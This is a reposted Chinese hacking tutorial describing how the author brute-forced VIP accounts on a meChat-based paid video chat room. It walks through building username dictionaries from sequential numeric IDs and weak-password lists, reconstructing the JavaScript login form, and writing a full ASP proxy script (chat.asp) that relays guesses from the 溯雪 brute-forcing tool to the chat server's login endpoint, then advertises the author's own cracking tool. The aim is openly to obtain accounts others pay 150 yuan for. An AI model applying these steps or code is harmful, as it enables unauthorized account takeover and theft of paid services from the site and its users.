来源:互联网
转载的时候就没看到图片,大家只有将就一下了。
由于工作关系,我的qq每个星期一到星期五都是在线的,但是却很少有人加我为好友,可能是老了吧,毕竟都24了,网恋那段激情燃烧的岁月已经离我远去了。可是那天却非常的幸运,一个女网友加了我,并传给我一个网址http://xxxxxxxxxxx.net:2899/,让我去看她跳舞。
首先看看网页,如图1所示,大致了解了一下,这个聊天室是用meChat架构的。到meChat官方网站看了看,发现了最关键的一句,本系统无需任何Web Server和数据库系统支持,完全独立运行,所以什么Web注入、上传漏洞、IIS写权限漏洞基本就不可以用了。这时我能想到的就是Web探测了,制作一个用户字典和密码字典,因为总会有弱智的密码吧?至于探测软件呢,我能想到的就是小榕的溯雪,个人觉得这个最好用了。以下就介绍我是怎么做的吧,至于分析嘛,本来就没什么技术含量,就不做了。
第一步制作字典。字典的制作很关键,试想本来就没有这些用户又何来猜解呢?因此就得想办法知道有哪些用户名,然后做成字典。怎么获取用户名呢?这让我想起刚才登录进去的事情,它不是有在线用户列表吗?呵呵……那就再登录一次,不过我在看用户列表的时候发现一个很有趣的现象,就是大多数用户的用户名都是数字,都是8XXX这样的构成。这里我做了一个猜测,因为VIP用户是不能自己注册的,必须由管理员开启,那么就有可能管理员为了方便或者其他目的,这些VIP的用户名都是8000以上的递增数。所以我做了一个8000~9000这样的用户字典。至于密码字典,我就用比较常见的或者弱智的密码,比如123456、5201314……这样字典就做好了。
第二步是构造登录表单。这个聊天室的登录表单是利用JavaScript构造表单数据提交的,也就是说直接用溯雪提取表单元素来进行探测是不行的。经过分析,我发现提交的表单数据有Alias(用户名)、Password(密码)和RoomID(房间ID),所以构造了如下的表单。
这里需要说明的是Form的Action地址,它的构造需要看登录页面的源代码。在源代码中有这样类型的JavaScript语句:
var Server = new ChatServer() ;
Server.Add(101,'1房:会员大厅','/1/',12,28,0,'本网站不允许任何人互发联系方式,经发现立即永久封杀号码,并扣除分数.希望会员宝贝尊重网站规定!愿大家玩的开心','006,008,009,05,8001,8002,8003,8006,8008,8009',0,1,0,0,1,1,1,0,'');
其中101为RoomID,“/1/”为Action地址中的“/1/”,这要根据实际聊天室的源代码修改。
第三步是制作本地代理登
录脚本。本来没有这一步的,但是因为溯雪会把地址中的“http://”自动去掉,导致URL语法错误,不能正常使用。可能其它的Web探测器不会出现这个错误,但是我只有溯雪,只能自己寻求办法解决了。我的办法是在本地Web服务器放一个ASP脚本,让它获取溯雪提交的数据,然后代理提交给聊天室登录获得返回给溯雪。我制作了一个chat.asp程序,其代码如下。
<%
Function GetHttpPage(HttpUrl)
If IsNull(HttpUrl)=True or HttpUrl="$False$" Then
GetHttpPage="$False$"
Exit Function
End If
Dim Http
Set Http=server.createobject("MSXML2.XMLHTTP")
Http.open "GET",HttpUrl,False
Http.Send()
If Http.Readystate<>4 then
Set Http=Nothing
GetHttpPage="$False$"
Exit function
End if
GetHTTPPage=bytesToBSTR(Http.responseBody,"GB2312")
Set Http=Nothing
If Err.number<>0 then
Err.Clear
End If
End Function
Function BytesToBstr(Body,Cset)
Dim Objstream
Set Objstream = Server.CreateObject("adodb.stream")
objstream.Type = 1
objstream.Mode =3
objstream.Open
objstream.Write body
objstream.Position = 0
objstream.Type = 2
objstream.Charset = Cset
BytesToBstr = objstream.ReadText
objstream.Close
set objstream = nothing
End Function
HttpUrl="http://xxxx.com:5000/1/Login/?Alias="&Request.Form("Alias")&"&Password="&Request.Form("Password")&"&RoomID="&Request.Form("RoomID")&"&boxfunc=off&RoomPassword=&Sex="
StarGet = GetHttpPage(HttpUrl) %>
<%=Server.HTMLEncode(StarGet)%>
然后再把刚才构造的登录表单提交地址改成:http://localhost/chat.asp,这样准备工作就完成了,至于怎么使用溯雪呢,我这里只简单地说一下。运行溯雪,将刚才构造的登录表单保存成HTML网页,鼠标单击把它拖到溯雪程序框里,然后选择模式为标准模式,按快捷键Ctrl+I提取表单,在loginPath处输入“/1/”,RoomID处输入“101”,Alias选择用户字典,password选择密码字典,效果如图2所示。接下来按Ctrl+R运行,这是一次错误探测,会返回登录错误的信息,然后让你输入错误标记,这里填写“errorpassword.htm”就可以了。再次提交程序就开始探测了(再按Ctrl+R),我想要不了多久,你就会得到一个别人花150元才能买到的VIP账户了。
上面的方法比较麻烦,同时还需要IIS支持,所以我自己做了一个破解小工具,给那些和我一样懒的人用。该程序是用C#做的,要在Microsoft .NET Framework 1.1以上才能使用,下面就简单介绍一下吧。运行界面如图3所示,参数设置就不用说了,中文写的很清楚。特别说明一下的是用户名作为密码功能,因为有很多人喜欢把用户名作为密码使用的,大家不妨试一下!最后再说一下,关于用户名规律的发现,大家可以看这个聊天室源代码中的Server.Add(101,'1房:会员大厅','/1/',……0,1,0,0,1,1,1,0,''),或者加入他们的qq群自己去发现。